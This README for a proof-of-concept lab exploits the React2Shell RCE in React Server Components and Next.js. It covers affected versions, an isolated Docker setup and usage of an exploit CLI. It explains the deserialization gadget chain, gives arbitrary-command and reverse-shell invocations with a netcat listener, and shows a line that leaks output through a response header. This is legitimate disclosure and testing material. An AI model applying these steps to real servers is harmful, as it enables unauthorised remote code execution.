Share
## https://sploitus.com/exploit?id=4E8AF00A-9323-5D6D-8A1F-EF5E62B57344
[ๆฅๆฌ่ช](README.ja.md)
> [!CAUTION]
> **For Authorized Security Research Only**
>
> This repository contains **`exploit.js`** and **`poc.sh`** โ working exploit code for CVE-2025-55182 / CVE-2025-66478 (CVSS 10.0).
>
> - Unauthorized use against systems you do not own or have explicit written permission to test is **illegal**.
> - Run **only** in isolated environments. This project's Docker network is air-gapped by design (`internal: true`).
> - The authors assume **no liability** for any misuse.
# CVE-2025-55182 / CVE-2025-66478 (React2Shell) โ Proof of Concept




A local proof-of-concept for **CVE-2025-55182** (React) and **CVE-2025-66478** (Next.js), publicly disclosed on December 3, 2025. The vulnerability is an unauthenticated remote code execution flaw in the RSC Flight Protocol deserialization path. A crafted multipart POST to any Server Functions endpoint triggers arbitrary code execution on the server without authentication.
Only **App Router** applications are affected. Pages Router, Edge Runtime, Next.js 13.x, and Next.js 14.x stable are **not affected**.
## Affected Versions
### React โ CVE-2025-55182
Affects the `react-server-dom-webpack`, `react-server-dom-parcel`, and `react-server-dom-turbopack` packages (not React core itself).
| Vulnerable | Fixed |
| -------------- | ------ |
| 19.0.0 | 19.0.1 |
| 19.1.0, 19.1.1 | 19.1.2 |
| 19.2.0 | 19.2.1 |
### Next.js โ CVE-2025-66478
App Router only. Pages Router, Edge Runtime, 13.x, and 14.x stable are not affected.
| Vulnerable Range | Fixed |
| ---------------- | ------ |
| 15.0.0 โ 15.0.4 | 15.0.5 |
| 15.1.0 โ 15.1.8 | 15.1.9 |
| 15.2.0 โ 15.2.x | 15.2.6 |
| 15.3.0 โ 15.3.x | 15.3.6 |
| 15.4.0 โ 15.4.x | 15.4.8 |
| 15.5.0 โ 15.5.x | 15.5.7 |
| 16.0.0 โ 16.0.6 | 16.0.7 |
> This PoC intentionally uses `next@15.1.0` and `react@19.0.0` โ both within the vulnerable ranges above.
## Project Structure
```
react2shell-poc/
โโโ exploit.js โ ๏ธ RCE exploit CLI
โโโ poc.sh โ ๏ธ One-shot automated PoC runner (command execution)
โโโ rev-shell.sh โ ๏ธ Reverse shell launcher
โโโ Dockerfile Vulnerable Next.js target
โโโ Dockerfile.attacker Attacker container (Node.js + netcat)
โโโ docker-compose.yml Isolated internal Docker network
โโโ entrypoint.sh Target startup script (next dev)
โโโ app/
โ โโโ actions.js Vulnerable Server Function (exploit entry point)
โ โโโ ServerForm.js Client form component
โ โโโ layout.js Root layout
โ โโโ page.js Home page
โโโ package.json Pinned to vulnerable versions
```
## Architecture
```
[ poc-net โ internal: true (no host ports exposed) ]
target:3000 attacker
(Next.js dev) โโโโโโโ exploit.js
โ
โโโ RCE: child_process.execSync()
stdout (base64) โโโบ x-action-redirect header โโโบ attacker stdout
```
## Prerequisites
- Docker 20.10+
- Docker Compose v2+
## Quick Start
```bash
# Default: runs 'id' on the vulnerable server
./poc.sh
# Custom command
./poc.sh -c 'whoami && hostname && cat /etc/os-release'
# Reverse shell
./rev-shell.sh
```
### How `poc.sh` Works
1. `docker compose build` โ builds both images
2. `docker compose up -d target` โ starts the vulnerable Next.js server
3. Calls `docker compose up -d --wait --wait-timeout 120 target` โ blocks until the Docker healthcheck (node HTTP probe) reports healthy
4. Mounts the `next-build` shared volume; reads `server-reference-manifest.json` via the attacker container to extract the compiled action hash automatically
5. Exports `NEXT_ACTION_HASH` and runs `exploit.js` inside the attacker container against `http://target:3000`
### Reverse Shell Mode
```bash
./rev-shell.sh # default port 4444
./rev-shell.sh 9001 # custom port
```
`rev-shell.sh` first ensures the target is healthy, then starts a single attacker container, fires `exploit.js` in the background, and runs `nc -lvnp` in the foreground โ avoiding DNS ambiguity that arises when two separate attacker containers share the same service alias.
### Cleanup
```bash
docker compose down -v # stop containers and remove the named volume
```
## Manual Setup (without Docker)
```bash
npm install
npm run build
# Extract the compiled Server Action hash
node -e "console.log(Object.keys(JSON.parse(require('fs').readFileSync('.next/server/server-reference-manifest.json','utf8')).node)[0])"
npm start
# Run the exploit
node exploit.js -t http://localhost:3000 -a -c 'id'
```
> Server Function hashes are generated by `npm run build`. The dev server used in Docker generates the same manifest on the first request (triggered by the health check).
## Exploit CLI Reference
| Option | Short | Default | Description |
| ----------------- | ----- | ----------------------- | ----------------------------------------------------------------------------- |
| `--target` | `-t` | _(required)_ | Target URL |
| `--action-hash` | `-a` | `$NEXT_ACTION_HASH` env | Compiled Server Action hash |
| `--command` | `-c` | `id` | Shell command to execute |
| `--reverse-shell` | `-r` | โ | Reverse shell destination (`host:port`); use via `rev-shell.sh`, not `poc.sh` |
| `--check-only` | โ | `false` | Detection probe only โ no exploit |
## How It Works
### Attack Flow
1. **Probe** โ GET request + RSC probe POST; detects Next.js via `Server` / `X-Powered-By` headers and RSC endpoint response code
2. **Encode** โ command is base64-encoded to avoid shell-escaping issues
3. **Build payload** โ constructs the RSC Flight deserialization gadget chain (`makeFields()`)
4. **Send** โ multipart POST with `Next-Action: ` header to the Server Functions endpoint
5. **RCE** โ server deserializes the payload; gadget chain fires and executes injected JavaScript
6. **Output** โ command stdout is returned base64-encoded in the `x-action-redirect` response header
### Gadget Chain
```
$3:constructor:constructor
โ [].constructor.constructor
โ Function (the built-in Function constructor)
$B3 โ Function(_prefix + parseInt("3", 16))
= Function(_prefix + "3")
โโ _prefix ends with "//"
โ trailing "3" becomes a comment; only injected code runs
```
### Output Exfiltration
```
throw Object.assign(new Error('NEXT_REDIRECT'), { digest: `NEXT_REDIRECT;push;/x?o=${base64(stdout)};307;` })
โ
Next.js converts to: x-action-redirect response header
โ
exploit.js: split("?o=")[1].split(";")[0] โ base64decode โ print
```
## References
- [react.dev โ Critical Security Vulnerability in React Server Components](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
- [nextjs.org โ Security Advisory: CVE-2025-66478](https://nextjs.org/blog/CVE-2025-66478)
- [NVD โ CVE-2025-55182](https://vulners.com/cve/CVE-2025-55182)
- [GitHub Advisory โ GHSA-9qr9-h5gf-34mp (CVE-2025-66478)](https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp)
_Discovered by [Lachlan Davidson](https://github.com/lachlan2k)._
## Disclaimer
For local security testing only. Do not use against systems you do not own.